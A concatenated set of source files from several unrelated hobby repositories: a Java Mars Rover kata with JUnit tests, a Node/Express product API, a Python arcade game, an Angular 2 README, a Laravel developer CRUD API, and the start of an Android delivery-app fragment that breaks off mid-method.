if (this == o) return true;
if (o == null || getClass() != o.getClass()) return false;
MarsRover marsRover = (MarsRover) o;
return Objects.equals(position, marsRover.position) &&
direction == marsRover.direction;
}
@Override
public int hashCode() {
return Objects.hash(position, direction);
}
}
<file_sep>/src/test/java/mars/rover/DirectionTest.java
package mars.rover;
import org.junit.Test;
import static mars.rover.Direction.*;
import static org.fest.assertions.Assertions.assertThat;
public class DirectionTest {
@Test
public void
it_should_from_the_NORTH_to_the_EAST_when_going_right() {
assertThat(NORTH.rotateRight()).isEqualTo(EAST);
}
@Test
public void
it_should_from_the_NORTH_to_the_WEST_when_going_left() {
assertThat(NORTH.rotateLeft()).isEqualTo(WEST);
}
@Test
public void
it_should_from_the_EAST_to_the_SOUTH_when_going_right() {
assertThat(EAST.rotateRight()).isEqualTo(SOUTH);
}
@Test
public void
it_should_from_the_EAST_to_the_NORTH_when_going_left() {
assertThat(EAST.rotateLeft()).isEqualTo(NORTH);
}
@Test
public void
it_should_from_the_SOUTH_to_the_WEST_when_going_right() {
assertThat(SOUTH.rotateRight()).isEqualTo(WEST);
}
@Test
public void
it_should_from_the_SOUTH_to_the_EAST_when_going_left() {
assertThat(SOUTH.rotateLeft()).isEqualTo(EAST);
}
@Test
public void
it_should_from_the_WEST_to_the_NORTH_when_going_right() {
assertThat(WEST.rotateRight()).isEqualTo(NORTH);
}
@Test
public void
it_should_from_the_WEST_to_the_SOUTH_when_going_left() {
assertThat(WEST.rotateLeft()).isEqualTo(SOUTH);
}
}<file_sep>/src/test/java/mars/rover/instructions/ForwardMovementTest.java
package mars.rover.instructions;
import mars.rover.Grid;
import mars.rover.Position;
import mars.rover.Direction;
import org.fest.assertions.Assertions;
import org.junit.Test;
import static mars.rover.Direction.*;
import static org.fest.assertions.Assertions.assertThat;
public class ForwardMovementTest {
private ForwardMovement forwardMovement = new ForwardMovement();
private final Grid GRID = new Grid(5, 5);
@Test
public void
it_should_move_the_rover_one_cell_to_the_right() {
assertNewPosition(EAST, new Position(4, 3));
}
@Test
public void
it_should_move_the_rover_one_cell_to_the_left() {
assertNewPosition(WEST, new Position(2, 3));
}
@Test
public void
it_should_move_the_rover_one_cell_upwards() {
assertNewPosition(NORTH, new Position(3, 4));
}
@Test
public void
it_should_move_the_rover_one_cell_downwards() {
assertNewPosition(SOUTH, new Position(3, 2));
}
@Test
public void
it_should_not_move_the_rover_NORTH_if_next_cell_is_out_of_bound() {
Position initialPosition = new Position(1, 5);
Position newPosition = forwardMovement.move(GRID, initialPosition, NORTH);
assertThat(newPosition).isEqualTo(initialPosition);
}
@Test
public void
it_should_not_move_the_rover_SOUTH_if_next_cell_is_out_of_bound() {
Position initialPosition = new Position(1, 0);
Position newPosition = forwardMovement.move(GRID, initialPosition, SOUTH);
assertThat(newPosition).isEqualTo(initialPosition);
}
@Test
public void
it_should_not_move_the_rover_WEST_if_next_cell_is_out_of_bound() {
Position initialPosition = new Position(0, 1);
Position newPosition = forwardMovement.move(GRID, initialPosition, WEST);
assertThat(newPosition).isEqualTo(initialPosition);
}
@Test
public void
it_should_not_move_the_rover_EAST_if_next_cell_is_out_of_bound() {
Position initialPosition = new Position(5, 1);
Position newPosition = forwardMovement.move(GRID, initialPosition, EAST);
assertThat(newPosition).isEqualTo(initialPosition);
}
private void assertNewPosition(Direction direction, Position expected) {
Position initialPosition = new Position(3, 3);
Position newPosition = forwardMovement.move(GRID, initialPosition, direction);
assertThat(newPosition).isEqualTo(expected);
}
@Test
public void
it_should_return_the_same_direction_when_nextDirection_is_called() {
Assertions.assertThat(forwardMovement.rotate(EAST)).isEqualTo(EAST);
}
}<file_sep>/src/main/java/mars/rover/instructions/ForwardMovement.java
package mars.rover.instructions;
import mars.rover.Grid;
import mars.rover.Position;
import mars.rover.Direction;
import static mars.rover.Direction.*;
public final class ForwardMovement implements Instruction {
public ForwardMovement() {
}
@Override
public Position move(Grid grid, Position currentPosition, Direction direction) {
int newYPosition = nextYPosition(direction, currentPosition.yPosition(), grid);
int newXPosition = nextXPosition(direction, currentPosition.xPosition(), grid);
return new Position(newXPosition, newYPosition);
}
private int nextYPosition(Direction direction, int yPosition, Grid grid) {
int movement = 0;
if (direction.equals(NORTH) && grid.getHeight() > yPosition) {
movement = 1;
} else if (direction.equals(SOUTH) && yPosition > 0) {
movement = -1;
}
return yPosition + movement;
}
private int nextXPosition(Direction direction, int xPosition, Grid grid) {
int movement = 0;
if (direction.equals(EAST) && grid.getWidth() > xPosition) {
movement = 1;
} else if (direction.equals(WEST) && xPosition > 0) {
movement = -1;
}
return xPosition + movement;
}
}
| 84e674d506db589315c907921711f66980164708 | [
"Java"
] | 5 | Java | aatwi/mars-rover | 5c670754ea7fe0cde7dcf4455f63dadb29749f53 | 79793d74227e4dad1506316ae730f7a79811deaa |
refs/heads/master | <file_sep>//Author: <NAME>
//Configuration file for re-usable keys, labels and settings
//use static for constants that won't change
//NOTE IN TYPESCRIPT AFTER YOUR VARIABLE NAME A COLON FOLLOWS AND THEN THE DATA TYPE
export class Config{
static MAIN_HEADING: string = "My Favourite Videos";
static SALE_HEADING: string = "Sales on NOW!!";
}<file_sep>### Features of Angular 1
1. MVC architecture being truly followed
2. Declarative user interface
3. Dependency Injection
4. Functional Directives
5. Flexible utilisation of filters
6. No need to write unnecessary codes
7. Proper DOM manipulations
8. Proper service providers
9. Context aware communication
10. Pre-developed unit testing
Despite all the above mentioned features still Angular JS alone would not be able to solve all the challenges posed by modern technical requirements. For example if you demand a gaming or a mathematical computation program then Angular JS might not be able to successfully serve you. However, it is very much effective to solve the problems based upon the field of generic web applications
### Role of Angular 2
The advantages of Angular2 include:
1. Usage of TypeScript
2. Giving support to web components
3. Great performance
4. Simplified interface
5. Ability to complete large scale projects
### Angular 2 and Typescript
One of the major advantages of Angular 2 is that it could easily work with both TypeScript and JS whereas Angular JS could only perform with JavaScript. The official website of Angular 2 incorporates the documentation of TypeScript. For this reason, one should know the advantages of TypeScript.
### Features of TypeScript
1. TypeScript combines various characteristics of JS that helps it to solve the long-term projects.
2. It offers support for interfaces and inheritance that will facilitate code decoupling and its reuse.
3. Provides static and complied time checking
### Summary
This is a base template for Angular 2 and other POC and R&D projects. It contains the core files you will need when starting an Angular 2 project.
To get started, follow the instructions below.
### Install Node.js and npm
Download the latest version of Node.js if you do not already have it installed on your machine. This download will also
include the latest version of npm.
https://nodejs.org/en/download/
### Download or Clone this Repository
Clone this repo into a new project folder. You may also download it as a ZIP file.
### Install Libraries and Dependencies
Once you have the files downloaded, navigate into the root project directory and run the following command. This will
install all libraries and dependencies.
`npm install`
### Run the Project
Now you can start the TypeScript compiler in watch mode and run lite-server with automatic refreshing.
`npm start`
| 734882d7fd91f35edb918dac465d672e5e043f68 | [
"Markdown",
"TypeScript"
] | 2 | TypeScript | kukuu/angular-2 | 06cee0e02f98c5977a080b1161df03f3512245f3 | 491c5a84506cd34bba1c6711e905d348bdd1adc3 |
refs/heads/master | <repo_name>guganakada/pontential-crud<file_sep>/teste_crud/app/Http/Controllers/AppController.php
<?php
namespace App\Http\Controllers;
use App\Models\Desenvolvedor;
use Illuminate\Http\Request;
class AppController extends Controller
{
public function index()
{
$desenvolvedores = Desenvolvedor::orderBy('id', 'desc')->paginate(10);
return view('desenvolvedores',array('desenvolvedores' => $desenvolvedores));
}
public function store(Request $request)
{
$desenvolvedor = new Desenvolvedor();
$desenvolvedor->nome = $request->input('nome');
$desenvolvedor->sexo = $request->input('sexo');
$desenvolvedor->idade = $request->input('idade');
$desenvolvedor->hobby = $request->input('hobby');
$desenvolvedor->datanascimento = $request->input('datanascimento');
if ($desenvolvedor->save()) {
return redirect()->route('dev.index')->with('message', 'Desenvolvedor incluido com sucesso.');
} else {
return redirect()->back()->with(['errors' => 'Falha ao editar categoria.']);
}
}
}
<file_sep>/teste_crud/app/Models/Desenvolvedor.php
<?php
namespace App\Models;
use Illuminate\Database\Eloquent\Model;
class Desenvolvedor extends Model
{
protected $table = 'desenvolvedores';
protected $fillable = [
'nome', 'sexo', 'idade', 'hobby', 'datanascimento',
];
}
<file_sep>/teste_crud/database/seeds/DesenvolvedorSeeder.php
<?php
use Illuminate\Database\Seeder;
use Illuminate\Support\Facades\DB;
class DesenvolvedorSeeder extends Seeder
{
/**
* Run the database seeds.
*
* @return void
*/
public function run()
{
DB::table('desenvolvedores')->insert([
'nome' => '<NAME>',
'sexo' => 'M',
'idade' => '37',
'hobby' => 'Jogar beisebol',
'datanascimento' => '1983-04-11',
]);
DB::table('desenvolvedores')->insert([
'nome' => '<NAME>',
'sexo' => 'F',
'idade' => '20',
'hobby' => 'Ler',
'datanascimento' => '2000-02-21',
]);
DB::table('desenvolvedores')->insert([
'nome' => '<NAME>',
'sexo' => 'F',
'idade' => '28',
'hobby' => 'Viajar',
'datanascimento' => '1992-05-21',
]);
DB::table('desenvolvedores')->insert([
'nome' => '<NAME>',
'sexo' => 'M',
'idade' => '34',
'hobby' => 'Pescar',
'datanascimento' => '1987-12-20',
]);
DB::table('desenvolvedores')->insert([
'nome' => '<NAME>',
'sexo' => 'M',
'idade' => '34',
'hobby' => 'Aulas de teatro',
'datanascimento' => '1987-12-20',
]);
DB::table('desenvolvedores')->insert([
'nome' => '<NAME>',
'sexo' => 'M',
'idade' => '40',
'hobby' => 'Tocar violao',
'datanascimento' => '1980-06-04',
]);
DB::table('desenvolvedores')->insert([
'nome' => '<NAME>',
'sexo' => 'F',
'idade' => '41',
'hobby' => 'Artes marciais',
'datanascimento' => '1978-11-10',
]);
DB::table('desenvolvedores')->insert([
'nome' => '<NAME>',
'sexo' => 'F',
'idade' => '30',
'hobby' => 'Fotografar',
'datanascimento' => '1990-03-03',
]);
DB::table('desenvolvedores')->insert([
'nome' => '<NAME>',
'sexo' => 'F',
'idade' => '33',
'hobby' => 'Patinar',
'datanascimento' => '1987-05-09',
]);
DB::table('desenvolvedores')->insert([
'nome' => '<NAME>',
'sexo' => 'F',
'idade' => '29',
'hobby' => 'Correr',
'datanascimento' => '1991-04-18',
]);
DB::table('desenvolvedores')->insert([
'nome' => '<NAME>',
'sexo' => 'M',
'idade' => '24',
'hobby' => 'Jogar xadrez',
'datanascimento' => '1995-09-01',
]);
DB::table('desenvolvedores')->insert([
'nome' => '<NAME>',
'sexo' => 'M',
'idade' => '26',
'hobby' => 'Praticar yoga',
'datanascimento' => '1995-11-19',
]);
DB::table('desenvolvedores')->insert([
'nome' => '<NAME>',
'sexo' => 'F',
'idade' => '31',
'hobby' => 'Pedalar',
'datanascimento' => '1989-01-31',
]);
DB::table('desenvolvedores')->insert([
'nome' => '<NAME>',
'sexo' => 'M',
'idade' => '28',
'hobby' => 'Pintar',
'datanascimento' => '1991-10-27',
]);
}
}
<file_sep>/teste_crud/routes/web.php
<?php
/*
|--------------------------------------------------------------------------
| Web Routes
|--------------------------------------------------------------------------
|
| Here is where you can register web routes for your application. These
| routes are loaded by the RouteServiceProvider within a group which
| contains the "web" middleware group. Now create something great!
|
*/
// Route::get('/', function () {
// return view('welcome');
// });
Route::get('/', 'AppController@index');
Route::resource('/dev', 'AppController');
Route::get('/developers', 'DesenvolvedorController@index');
Route::get('/developers?={search}', 'DesenvolvedorController@searchDevelopers');
Route::get('/developers/{id}', 'DesenvolvedorController@getDeveloper');
Route::post('/developers', 'DesenvolvedorController@store');
Route::put('/developers/{id}', 'DesenvolvedorController@update');
Route::delete('/developers/{id}', 'DesenvolvedorController@destroy');
<file_sep>/teste_crud/app/Http/Controllers/DesenvolvedorController.php
<?php
namespace App\Http\Controllers;
use Illuminate\Http\Request;
use App\Http\Controllers\Controller;
use App\Models\Desenvolvedor;
use Illuminate\Auth\Access\Response;
use Illuminate\Support\Facades\DB;
class DesenvolvedorController extends Controller
{
public function index()
{
return Response()->json(Desenvolvedor::orderBy('id', 'desc')->get(), 200);
}
public function getDeveloper($id)
{
$desenvolvedor = DB::table('desenvolvedores')->where('id', $id)->get();
if ($desenvolvedor) {
return Response()->json($desenvolvedor, 200);
} else {
return Response("0", 404);
};
}
public function searchDevelopers($search)
{
$desenvolvedores = DB::table('desenvolvedores')
->where('nome', 'like', '%' . $search . '%')
->orWhere('sexo', 'like', '%' . $search . '%')
->orWhere('idade', 'like', '%' . $search . '%')
->orWhere('hobby', 'like', '%' . $search . '%')
->orWhere('datanascimento', 'like', '%' . $search . '%')
->paginate(10);
if ($desenvolvedores) {
return Response()->json($desenvolvedores, 200);
} else {
return Response("0", 404);
};
}
public function store(Request $request)
{
$desenvolvedor = new Desenvolvedor();
$desenvolvedor->nome = $request->input('nome');
$desenvolvedor->sexo = $request->input('sexo');
$desenvolvedor->idade = $request->input('idade');
$desenvolvedor->hobby = $request->input('hobby');
$desenvolvedor->datanascimento = $request->input('datanascimento');
if($desenvolvedor->save()){
return Response("1", 201);
} else {
return Response("0",400);
};
}
public function update($id, Request $request)
{
$desenvolvedor = Desenvolvedor::find($id);
$desenvolvedor->nome = $request->input('nome');
$desenvolvedor->sexo = $request->input('sexo');
$desenvolvedor->idade = $request->input('idade');
$desenvolvedor->hobby = $request->input('hobby');
$desenvolvedor->datanascimento = $request->input('datanascimento');
if ($desenvolvedor->save()) {
return Response()->json($desenvolvedor, 200);
} else {
return Response("0", 400);
};
}
public function destroy($id)
{
$desenvolvedor = Desenvolvedor::find($id);
if ($desenvolvedor->delete()) {
return Response("1", 204);
} else {
return Response("0", 400);
};
}
}
<file_sep>/README.md
# API JSON REST
Backend: Laravel
Banco de dados: MySql
# Instalação da aplicação
Clone o repositório do github.
Acesse a pasta:
```
cd teste_crud
```
Instale as dependências:
```
npm install
```
# Banco de Dados - MySql
As configurações do banco de dados encontram-se em:
.env
/config/database.php
DB_CONNECTION=mysql
DB_HOST=127.0.0.1
DB_PORT=3306
DB_DATABASE=teste_gazin
DB_USERNAME=root
DB_PASSWORD=
Tabela e migration desenvolvedores:
/database/migrations/desenvolvedores_table.php
/app/Models/Desenvolvedor.php
Para rodar o banco de dados:
```
php artisan migrate
```
Para popular a tabela desenvolvedores:
```
php artisan db:seed
```
# Rodar a aplicação
Para rodar aplicação:
```
php artisan serve
```
# Rotas
Rotas testadas no postman
Busca todos desenvolvedores:
```
GET
localhost/developers
```
Busca desenvolvedor pelo id:
```
GET
localhost/developers/{id}
```
Cadastrar desenvolvedor:
```
POST
localhost/developers
```
Alterar desenvolvedor:
```
PUT
localhost/developers/{id}
```
Excluir desenvolvedor:
```
DELETE
localhost/developers/{id}
``` | 79c0afa7e2ad7578d8a21187549b056e73eb6fc2 | [
"Markdown",
"PHP"
] | 6 | PHP | guganakada/pontential-crud | 01cfb028dbc5a11e1f7b46712e715dd11817a851 | 350219b03d97684fa348b8197053b5420bc20888 |
refs/heads/master | <file_sep>var songBook;
var sbLength;
function loadJSON(callback) {
var xobj = new XMLHttpRequest();
xobj.overrideMimeType("application/json");
xobj.open('GET', 'songs.json', true);
xobj.onreadystatechange = function () {
if (xobj.readyState == 4 && xobj.status == "200") {
// Required use of an anonymous callback as .open will NOT return a value but simply returns undefined in asynchronous mode
callback(xobj.responseText);
}
};
xobj.send(null);
}
function addSong(title, link, i) {
var tr = document.createElement('tr');
var th = document.createElement('th');
th.setAttribute('scope', 'row');
tr.appendChild(th);
th.innerHTML += title;
var td = document.createElement('td');
tr.appendChild(td);
var a = document.createElement('a');
a.setAttribute('href', "https://" + link);
a.setAttribute('id', 'link' + i);
a.className = 'badge badge-primary';
a.innerHTML += link;
td.appendChild(a);
document.getElementById('foo').appendChild(tr);
}
function sortByProperty(property) {
return function (a, b) {
if (a[property] > b[property])
return 1;
else if (a[property] < b[property])
return -1;
return 0;
}
}
function init() {
loadJSON(function (response) {
// Parse JSON string into object
songBook = JSON.parse(response);
var ordinated = songBook.songs.sort(sortByProperty("title"));
ordinated.forEach(function (song, index) {
addSong(song.title, song.link, index);
sbLength = index;
});
addSong("Total Songs:", sbLength, sbLength + 1)
});
}
async function registerSW() {
if ('serviceWorker' in navigator) {
try {
await navigator.serviceWorker.register('./sw.js');
} catch (e) {
alert('ServiceWorker registration failed. Sorry about that.');
}
} else {
document.querySelector('.alert').removeAttribute('hidden');
}
}
window.addEventListener('load', e => {
init();
registerSW();
});
| 0dc2ab9da305bac23fa06a7fd09d1e8e8b042431 | [
"JavaScript"
] | 1 | JavaScript | Sander972/Sander972.github.io | bf492a56ab74f90cee00fcb1028938edf3c3eff4 | 9f0672101fd52d0efb975170abb9dfd4659d4174 |
refs/heads/main | <file_sep>const Product = require("../models/product");
const ErrorResponse = require("../utils/errorResponse");
const { uploadImage, deleteImage } = require("../utils/imageUpload");
exports.getAllProducts = async (req, res, next) => {
try {
const products = await Product.find();
return res.status(200).json({ success: true, products });
} catch (error) {
next(error);
}
};
exports.getProduct = async (req, res, next) => {
const { productId } = req.params;
try {
const product = await Product.findById(productId);
if (!product) {
return next(new ErrorResponse("Product not found", 404));
}
res.status(200).json({ success: true, product });
} catch (error) {
next(error);
}
};
exports.addProduct = async (req, res, next) => {
const { name, description, price } = req.body;
try {
const product = new Product({ name, description, price });
const imageUrl = await uploadImage(req, product, next);
if (imageUrl) {
product.image = imageUrl;
await product.save();
res.status(200).json({ success: true, product });
}
} catch (error) {
next(error);
}
};
exports.updateProduct = async (req, res, next) => {
const { productId } = req.params;
try {
const product = await Product.findById(productId);
if (!product) {
return next(new ErrorResponse("Product not found", 404));
}
if (req.file !== undefined) {
deleteImage(product.image);
const imageName = await uploadImage(req, product, next);
if (imageName) {
const updatedProduct = await product.updateOne({
...req.body,
image: imageName,
});
res.status(200).json({ success: true, product: updatedProduct });
}
} else {
const updatedProduct = await product.updateOne({
...req.body,
});
res.status(200).json({ success: true, product: updatedProduct });
}
} catch (error) {
next(error);
}
};
exports.deleteProduct = async (req, res, next) => {
const { productId } = req.params;
try {
const product = await Product.findById(productId);
if (!product) {
return next(new ErrorResponse("Product not found", 404));
}
deleteImage(product.image);
await Product.findByIdAndRemove(productId);
res.status(204).json({ success: true, data: "Product deleted." });
} catch (error) {
next(error);
}
};
<file_sep>const fs = require("fs");
const multer = require("multer");
const sharp = require("sharp");
const ErrorResponse = require("../utils/errorResponse");
const storage = multer.memoryStorage();
const upload = multer({ storage });
const uploadImage = async (req, product, next) => {
if (req.file === undefined) {
return next(
new ErrorResponse("Please upload an image for the product.", 400)
);
}
const name = product.name.toLowerCase().split(" ").join("-");
const ext = req.file.mimetype.split("/")[1];
const filename = `${name}.${ext}`;
const dir = "./public/images";
if (!fs.existsSync(dir)) {
fs.mkdirSync(dir);
}
await sharp(req.file.buffer).toFile(`${dir}/${filename}`);
return filename;
};
const deleteImage = (imageName) => {
const path = `./public/images/${imageName}`;
if (fs.existsSync(path)) {
fs.unlinkSync(path);
}
};
module.exports = { upload, uploadImage, deleteImage };
<file_sep>
const mongoose = require("mongoose");
const productSchema = new mongoose.Schema(
{
name: {
type: String,
required: [true, "Product name cannot be empty."],
},
description: {
type: String,
required: [true, "Product description cannot be empty."],
},
price: {
type: Number,
required: [true, "Product price is required."],
},
image: {
type: String,
},
inStock: {
type: Boolean,
default: true,
},
},
{
timestamps: true,
}
);
productSchema.virtual('url').get(function () {
return `http://localhost:4000/images/${this.image}`
})
module.exports = mongoose.model("Product", productSchema);<file_sep>const router = require("express").Router();
const productController = require("../controllers/products");
const { upload } = require("../utils/imageUpload");
router
.route("/")
.get(productController.getAllProducts)
.post(upload.single("image"), productController.addProduct);
router
.route("/:productId")
.get(productController.getProduct)
.patch(upload.single('image'), productController.updateProduct)
.delete(productController.deleteProduct);
module.exports = router;
| 1c6a8bfc2a4c1cde6c764d28d24100baf382c3e8 | [
"JavaScript"
] | 4 | JavaScript | PrinceNarteh/oguaa-seafoods | 7e480aea86ba51016413b1f944490423b121faaa | 247858da155188d3a18cdaa540a0c3050da4340e |
refs/heads/master | <file_sep>import arcade
SCREEN_WIDTH = 800
SCREEN_HEIGHT = 700
SCREEN_TITLE = "Example"
SPEED = 10
class Game(arcade.Window):
def __init__(self):
super().__init__(SCREEN_WIDTH, SCREEN_HEIGHT, SCREEN_TITLE)
arcade.set_background_color(arcade.color.APPLE_GREEN)
self.monkey = None
self.move_sound = None
self.banana_list = None
self.num_banana = 0
self.time = 0
def setup(self):
self.monkey = arcade.Sprite("images/monkey.png", scale=0.1,
center_x=400, center_y=400)
self.move_sound = arcade.load_sound("audio/move.wav")
self.banana_list = arcade.SpriteList()
for x in range(100, 400, 100):
banana = arcade.Sprite("images/banana.png", scale=0.1,
center_x=x, center_y=200)
self.banana_list.append(banana)
def on_draw(self):
arcade.start_render()
self.monkey.draw()
self.banana_list.draw()
self.eat = arcade.check_for_collision_with_list(self.monkey, self.banana_list)
for banana in self.eat:
self.banana_list.remove(banana)
self.num_banana += 1
# Messages
num_banana = f"# of Bananas: {self.num_banana}"
arcade.draw_text(num_banana, 600, 50, (255, 211, 0), 20)
def on_update(self, time):
self.monkey.update()
self.time += time
def on_key_press(self, key, mod):
if key == arcade.key.LEFT:
self.monkey.change_x = -SPEED
elif key == arcade.key.RIGHT:
self.monkey.change_x = +SPEED
elif key == arcade.key.DOWN:
self.monkey.change_y = -SPEED
elif key == arcade.key.UP:
self.monkey.change_y = +SPEED
arcade.play_sound(self.move_sound)
def on_key_release(self, key, mod):
if key == arcade.key.LEFT:
self.monkey.change_x = 0
elif key == arcade.key.RIGHT:
self.monkey.change_x = 0
elif key == arcade.key.DOWN:
self.monkey.change_y = 0
elif key == arcade.key.UP:
self.monkey.change_y = 0
def main():
window = Game()
window.setup()
arcade.run()
if __name__ == '__main__':
main()
<file_sep># Example-Arcade
A simple game made using the arcade library.
| 478b9da6c370e7be3f30cfc48b02ca6f3893c34d | [
"Markdown",
"Python"
] | 2 | Python | jirodriguez12/Example-Arcade | 0151e8e8eb23e3325941321c62e27cd60470c71a | 9eec9ce6d646836851ce2729fb8d51facde69384 |
refs/heads/master | <repo_name>ashishguptasanu/TruckyAdmin<file_sep>/app/src/main/java/com/rstintl/docta/deliveryApp/Activities/MainActivity.java
package com.rstintl.docta.deliveryApp.Activities;
import android.content.Intent;
import android.os.Bundle;
import android.support.annotation.NonNull;
import android.support.design.widget.BottomNavigationView;
import android.support.design.widget.FloatingActionButton;
import android.support.v4.app.Fragment;
import android.support.v4.app.FragmentTransaction;
import android.support.v7.app.AppCompatActivity;
import android.view.Menu;
import android.view.MenuInflater;
import android.view.MenuItem;
import android.view.View;
import android.widget.Toast;
import com.rstintl.docta.deliveryApp.Fragments.ItemOneFragment;
import com.rstintl.docta.deliveryApp.Fragments.ItemThreeFragment;
import com.rstintl.docta.deliveryApp.Fragments.ItemTwoFragment;
import com.rstintl.docta.deliveryApp.R;
public class MainActivity extends AppCompatActivity {
private BottomNavigationView.OnNavigationItemSelectedListener mOnNavigationItemSelectedListener
= new BottomNavigationView.OnNavigationItemSelectedListener() {
Fragment selectedFragment = null;
@Override
public boolean onNavigationItemSelected(@NonNull MenuItem item) {
switch (item.getItemId()) {
case R.id.navigation_home:
selectedFragment = ItemOneFragment.newInstance();
break;
case R.id.navigation_dashboard:
selectedFragment = ItemTwoFragment.newInstance();
break;
case R.id.navigation_notifications:
selectedFragment = ItemThreeFragment.newInstance();
break;
}
FragmentTransaction transaction = getSupportFragmentManager().beginTransaction();
transaction.replace(R.id.content, selectedFragment);
transaction.commit();
return true;
}
};
@Override
public boolean onCreateOptionsMenu(Menu menu) {
MenuInflater inflater = getMenuInflater();
inflater.inflate(R.menu.manage, menu);
return true;
}
@Override
public boolean onOptionsItemSelected(MenuItem item) {
// Handle item selection
switch (item.getItemId()) {
case R.id.action_manage:
Intent intent = new Intent(this, ManageActivity.class);
startActivity(intent);
return true;
default:
return super.onOptionsItemSelected(item);
}
}
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
BottomNavigationView navigation = (BottomNavigationView) findViewById(R.id.navigation);
navigation.setOnNavigationItemSelectedListener(mOnNavigationItemSelectedListener);
navigation.setSelectedItemId(R.id.navigation_dashboard);
FragmentTransaction transaction = getSupportFragmentManager().beginTransaction();
transaction.replace(R.id.content, ItemTwoFragment.newInstance());
transaction.commit();
if(getIntent().getExtras() != null){
//Toast.makeText(getApplicationContext(), getIntent().getStringExtra("assigned_to"),Toast.LENGTH_SHORT).show();
}
FloatingActionButton floatingActionButton = (FloatingActionButton)findViewById(R.id.fab);
floatingActionButton.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View view) {
Intent intent = new Intent(getApplicationContext(), MapsActivity.class);
startActivity(intent);
}
});
}
}
<file_sep>/app/src/main/java/com/rstintl/docta/deliveryApp/Fragments/ItemOneFragment.java
package com.rstintl.docta.deliveryApp.Fragments;
import android.app.Activity;
import android.app.DatePickerDialog;
import android.app.ProgressDialog;
import android.app.TimePickerDialog;
import android.content.Intent;
import android.graphics.Color;
import android.graphics.drawable.ColorDrawable;
import android.os.Bundle;
import android.support.annotation.Nullable;
import android.support.v4.app.Fragment;
import android.support.v4.content.ContextCompat;
import android.support.v7.widget.LinearLayoutManager;
import android.support.v7.widget.RecyclerView;
import android.util.Log;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import android.widget.AdapterView;
import android.widget.ArrayAdapter;
import android.widget.DatePicker;
import android.widget.EditText;
import android.widget.LinearLayout;
import android.widget.Spinner;
import android.widget.TextView;
import android.widget.TimePicker;
import android.widget.Toast;
import com.google.android.gms.common.GooglePlayServicesNotAvailableException;
import com.google.android.gms.common.GooglePlayServicesRepairableException;
import com.google.android.gms.location.places.Place;
import com.google.android.gms.location.places.ui.PlacePicker;
import com.rstintl.docta.deliveryApp.Activities.MainActivity;
import com.rstintl.docta.deliveryApp.Adapters.NewTaskAdapter;
import com.rstintl.docta.deliveryApp.Models.DriverInfo;
import com.rstintl.docta.deliveryApp.Models.Task;
import com.rstintl.docta.deliveryApp.R;
import org.json.JSONArray;
import org.json.JSONException;
import org.json.JSONObject;
import java.io.IOException;
import java.text.SimpleDateFormat;
import java.util.ArrayList;
import java.util.Calendar;
import java.util.List;
import ernestoyaquello.com.verticalstepperform.VerticalStepperFormLayout;
import ernestoyaquello.com.verticalstepperform.interfaces.VerticalStepperForm;
import okhttp3.Call;
import okhttp3.Callback;
import okhttp3.MultipartBody;
import okhttp3.OkHttpClient;
import okhttp3.Request;
import okhttp3.RequestBody;
import static android.R.attr.breadCrumbShortTitle;
import static android.R.attr.cacheColorHint;
import static android.R.attr.name;
import static android.R.attr.theme;
import static android.app.Activity.RESULT_OK;
/**
* Created by Ashish on 31-08-2017.
*/
public class ItemOneFragment extends Fragment implements VerticalStepperForm {
RecyclerView recyclerView;
LinearLayoutManager layoutManager;
NewTaskAdapter mAdapter;
View view;
OkHttpClient client = new OkHttpClient();
List<Task> taskList = new ArrayList<>();
TextView tvPickUp, tvDropOff, tvStartDate, tvEndDate;
int PLACE_PICKER_REQUEST = 1;
int PLACE_PICKER_REQUEST2 = 2;
String startHour, startMinute, startTimeStamp, endTimestamp, selectedVehicleType,selectedDriverID;
Spinner vehicleType, deliveryAgent;
List<DriverInfo> driverDetails = new ArrayList<>();
List<String> driverData = new ArrayList<>();
ArrayAdapter<String> agentDataAdapter;
String pickupLat, pickupLang, dropoffLat, dropoffLang;
String[] vehicleTypeData = new String[]{"Select One","Motorcycle", "Light Motor Vehicle", "Heavy Truck", "Mini Bus","Heavy Bus","Fork Lift","Shovel"};
EditText pickUp, dropOff, startDateTime, endDateTime, deliverToName, deliverToContact, deliverToAdditionalDetails;
private VerticalStepperFormLayout verticalStepperForm;
public static ItemOneFragment newInstance() {
ItemOneFragment fragment = new ItemOneFragment();
return fragment;
}
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
}
@Override
public void onViewCreated(View view, @Nullable Bundle savedInstanceState) {
super.onViewCreated(view, savedInstanceState);
}
@Override
public View onCreateView(LayoutInflater inflater, ViewGroup container,
Bundle savedInstanceState) {
view = inflater.inflate(R.layout.fragment_one, container, false);
String[] mySteps = {"Pickup Address", "Dropoff Address", "Start Date & Time", "End Date & Time","Delivery Details", "Vehicle Type", "Delivery Agent"};
int colorPrimary = ContextCompat.getColor(getContext(), R.color.colorPrimary);
int colorPrimaryDark = ContextCompat.getColor(getContext(), R.color.colorPrimaryDark);
getDriverList();
// Finding the view
verticalStepperForm = (VerticalStepperFormLayout) view.findViewById(R.id.vertical_stepper_form);
// Setting up and initializing the form
VerticalStepperFormLayout.Builder.newInstance(verticalStepperForm, mySteps, this, getActivity())
.primaryColor(colorPrimary)
.primaryDarkColor(colorPrimaryDark)
.displayBottomNavigation(false) // It is true by default, so in this case this line is not necessary
.init();
/*tvPickUp = (TextView)view.findViewById(R.id.tv_pickup);
tvDropOff = (TextView)view.findViewById(R.id.tv_Dropoff);
tvStartDate = (TextView)view.findViewById(R.id.tv_start_date);
tvEndDate = (TextView)view.findViewById(R.id.tv_end_date);
tvStartDate.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View view) {
Calendar mcurrentDate=Calendar.getInstance();
final int mYear = mcurrentDate.get(Calendar.YEAR);
int mMonth=mcurrentDate.get(Calendar.MONTH);
int mDay=mcurrentDate.get(Calendar.DAY_OF_MONTH);
DatePickerDialog mDatePicker=new DatePickerDialog(getActivity(), new DatePickerDialog.OnDateSetListener() {
public void onDateSet(DatePicker datepicker, final int selectedyear, final int selectedmonth, final int selectedday) {
final String[] selectedHourFinal = new String[1];
final String[] selectedMinuteFinal = new String[1];
Calendar mcurrentTime = Calendar.getInstance();
int hour = mcurrentTime.get(Calendar.HOUR_OF_DAY);
int minute = mcurrentTime.get(Calendar.MINUTE);
TimePickerDialog mTimePicker;
mTimePicker = new TimePickerDialog(getContext(), new TimePickerDialog.OnTimeSetListener() {
@Override
